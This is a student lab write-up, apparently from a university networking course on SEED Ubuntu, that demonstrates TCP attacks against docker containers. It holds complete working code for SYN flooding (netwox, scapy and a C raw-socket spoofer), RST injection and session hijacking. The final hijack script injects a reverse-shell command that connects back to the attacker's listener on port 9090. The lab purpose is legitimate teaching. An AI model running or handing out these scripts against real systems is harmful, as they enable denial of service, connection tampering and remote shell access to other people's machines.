hust计算机网络实验一 TCP协议漏洞利用以及攻击

2022-04-10

实验环境

seedubuntu 16

模拟三台机器

一台服务器用docker开启(172.17.0.2),一台客户机用docker开启(172.17.0.3),攻击机用虚拟机代替(172.17.0.1)

血的教训:

1.能用老师的虚拟机就尽量用老师的。一般老师的虚拟机里面东西都装得比较全,坏境给你搭好了。 如果你很闲,可以考虑自己用自己的环境。

2.不要用太高版本的虚拟机,我在同样情况下,用seedubuntu 20来做实验,没有明显的效果(绝望

实验一 SYN-flood攻击

分别使用netwox,scapy,c程序来对服务器(开启syn_cookies和关闭syn_cookies的情况下)进行syn-flood攻击

netwox

指令(在服务器上使用如下命令)

sudo sysctl -w net.ipv4.tcp_syncookies=0 #关闭syn_cookies

sudo sysctl -w net.ipv4.tcp_syncookies=1 #开启syn_cookies

在攻击机上使用如下命令

netwox 76 -i 172.17.0.2 -p 23

在客户机上使用telnet连接到服务器

telnet 172.17.0.2

输入用户名和密码

关闭syn_cookies的情况下,客户机将无法连接到服务器

开启情况下,可以成功连接

scapy

和上面的操作类似,只不过攻击命令进行了更改

以下是攻击机上运行的脚本

#!/usr/bin/python3

from scapy.all import IP, TCP, send

from ipaddress import IPv4Address

from random import getrandbits



ip = IP(dst="172.17.0.2")

tcp = TCP(dport=23, flags='S')

pkt = ip/tcp



while True:

    pkt[IP].src = str(IPv4Address(getrandbits(32)))

    pkt[TCP].sport = getrandbits(16) #source port

    pkt[TCP].seq = getrandbits(32)    #sequence number

    send(pkt, verbose = 0)

c程序进行攻击

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

#include "myheader.h"

#define DEST_IP    "172.17.0.2"
#define DEST_PORT  23  // Attack the web server
#define PACKET_LEN 1500

unsigned short calculate_tcp_checksum(struct ipheader *ip);
void send_raw_ip_packet(struct ipheader* ip);


/******************************************************************
Spoof a TCP SYN packet.
*******************************************************************/
int main() {
char buffer[PACKET_LEN];
struct ipheader *ip = (struct ipheader *) buffer;
struct tcpheader *tcp = (struct tcpheader *) (buffer +
                                sizeof(struct ipheader));

srand(time(0)); // Initialize the seed for random # generation.
while (1) {
    memset(buffer, 0, PACKET_LEN);
    /*********************************************************
        Step 1: Fill in the TCP header.
    ********************************************************/
    tcp->tcp_sport = rand(); // Use random source port
    tcp->tcp_dport = htons(DEST_PORT);
    tcp->tcp_seq   = rand(); // Use random sequence #
    tcp->tcp_offx2 = 0x50;
    tcp->tcp_flags = TH_SYN; // Enable the SYN bit
    tcp->tcp_win   = htons(20000);
    tcp->tcp_sum   = 0;

    /*********************************************************
        Step 2: Fill in the IP header.
    ********************************************************/
    ip->iph_ver = 4;   // Version (IPV4)
    ip->iph_ihl = 5;   // Header length
    ip->iph_ttl = 50;  // Time to live
    ip->iph_sourceip.s_addr = rand(); // Use a random IP address
    ip->iph_destip.s_addr = inet_addr(DEST_IP);
    ip->iph_protocol = IPPROTO_TCP; // The value is 6.
    ip->iph_len = htons(sizeof(struct ipheader) +
                        sizeof(struct tcpheader));

    // Calculate tcp checksum
    tcp->tcp_sum = calculate_tcp_checksum(ip);

    /*********************************************************
    Step 3: Finally, send the spoofed packet
    ********************************************************/
    send_raw_ip_packet(ip);
}

return 0;
}


/*************************************************************
Given an IP packet, send it out using a raw socket.
**************************************************************/
void send_raw_ip_packet(struct ipheader* ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
                    &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len), 0,
        (struct sockaddr *)&dest_info, sizeof(dest_info));
    close(sock);
}


unsigned short in_cksum (unsigned short *buf, int length)
{
unsigned short *w = buf;
int nleft = length;
int sum = 0;
unsigned short temp=0;

/*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all
    * the carry bits from the top 16 bits into the lower 16 bits.
    */
while (nleft > 1)  {
    sum += *w++;
    nleft -= 2;
}

/* treat the odd byte at the end, if any */
if (nleft == 1) {
        *(u_char *)(&temp) = *(u_char *)w ;
        sum += temp;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff);  // add hi 16 to low 16
sum += (sum >> 16);                  // add carry
return (unsigned short)(~sum);
}


/****************************************************************
TCP checksum is calculated on the pseudo header, which includes
the TCP header and data, plus some part of the IP header.
Therefore, we need to construct the pseudo header first.
*****************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader *ip)
{
struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip +
                            sizeof(struct ipheader));

int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

/* pseudo tcp header for the checksum computation */
struct pseudo_tcp p_tcp;
memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

p_tcp.saddr  = ip->iph_sourceip.s_addr;
p_tcp.daddr  = ip->iph_destip.s_addr;
p_tcp.mbz    = 0;
p_tcp.ptcl   = IPPROTO_TCP;
p_tcp.tcpl   = htons(tcp_len);
memcpy(&p_tcp.tcp, tcp, tcp_len);

return  (unsigned short) in_cksum((unsigned short *)&p_tcp,
                                    tcp_len + 12);
}

TCP RST攻击

在客户机和服务机连接的情况下

用wireshark抓包分析此时的seq和ack

netwox

netwox 78 -d docker0 -i 172.17.0.3

scapy

手动需要wireshark抓包分析seq和ack

#!/usr/bin/python3
from scapy.all import *

print("SENDING RESET PACKET.........")
ip  = IP(src="172.17.0.2", dst="172.17.0.3")
tcp = TCP(sport=23, dport=41290,flags="R",seq=1439095372)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)

自动比较方便

#!/usr/bin/python3
from scapy.all import *

SRC  = "172.17.0.3"
DST  = "172.17.0.2"
PORT = 23

def spoof(pkt):
    old_tcp = pkt[TCP]
    old_ip  = pkt[IP]

    #############################################
    ip  =  IP( src   = old_ip.dst , 
            dst   = old_ip.src
            )
    tcp = TCP( sport = old_tcp.dport , 
            dport = old_tcp.sport , 
            seq   = old_tcp.ack ,
            flags = "R"
            ) 
    #############################################

    pkt = ip/tcp
    send(pkt,verbose=0)
    print("Spoofed Packet: {} --> {}".format(ip.src, ip.dst))

f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
print(f)
sniff(filter=f, prn=spoof,iface='docker0')

TCP 会话劫持

在客户机和服务器在telnet已经连接的情况下进行

netwox

netwox 40 --ip4-src 172.17.0.3 --ip4-dst 172.17.0.2 --tcp-src 41296 --tcp-dst 23 --tcp-seqnum 4182750606 --tcp-acknum 198431585 --tcp-ack --tcp-window 227 --tcp-data "6c730d00"

使用此命令需要在wireshark查看情况,客户机会卡死

scapy

手动需要抓包分析seq和ack

#!/usr/bin/python3
from scapy.all import *

print("SENDING SESSION HIJACKING PACKET.........")

ip  = IP(src="172.17.0.3", dst="172.17.0.2")
tcp = TCP(sport=41378, dport=23, flags="A", seq=4267048152, ack=2850155353)
data = "\n touch /tmp/myfile.txt\n"
pkt = ip/tcp/data
send(pkt, verbose=0)

自动还是方便

#!/usr/bin/python3
from scapy.all import *

SRC  = "172.17.0.3"
DST  = "172.17.0.2"
PORT = 23

def spoof(pkt):
    old_ip  = pkt[IP]
    old_tcp = pkt[TCP]

    #############################################
    ip  =  IP( src   = old_ip.src,
            dst   = old_ip.dst
            )
    tcp = TCP( sport = old_tcp.sport,
            dport = old_tcp.dport,
            seq   = old_tcp.seq,
            ack   = old_tcp.ack,
            flags = "A"
            )
    data = "ls\r\x00"
    #############################################

    pkt = ip/tcp/data
    send(pkt,verbose=0)
    ls(pkt)
    quit()

f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof,iface='docker0')

利用回话劫持进行反弹shell

保证客户机和服务器已经进行了telnet连接

在攻击机上开启 监听端口

nc -lvp 9090

在攻击机上运行该脚本

#!/usr/bin/python3
from scapy.all import *

SRC  = "172.17.0.3"
DST  = "172.17.0.2"
PORT = 23

def spoof(pkt):
    old_ip  = pkt[IP]
    old_tcp = pkt[TCP]

    #############################################
    ip  =  IP( src   = old_ip.src,
            dst   = old_ip.dst
            )
    tcp = TCP( sport = old_tcp.sport,
            dport = old_tcp.dport,
            seq   = old_tcp.seq,
            ack   = old_tcp.ack,
            flags = "A"
            )
    data = "bash -i >/dev/tcp/172.17.0.1/9090 2>&1 0<&1\r\x00"
    #############################################

    pkt = ip/tcp/data
    send(pkt,verbose=0)
    ls(pkt)
    quit()

f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof,iface='docker0')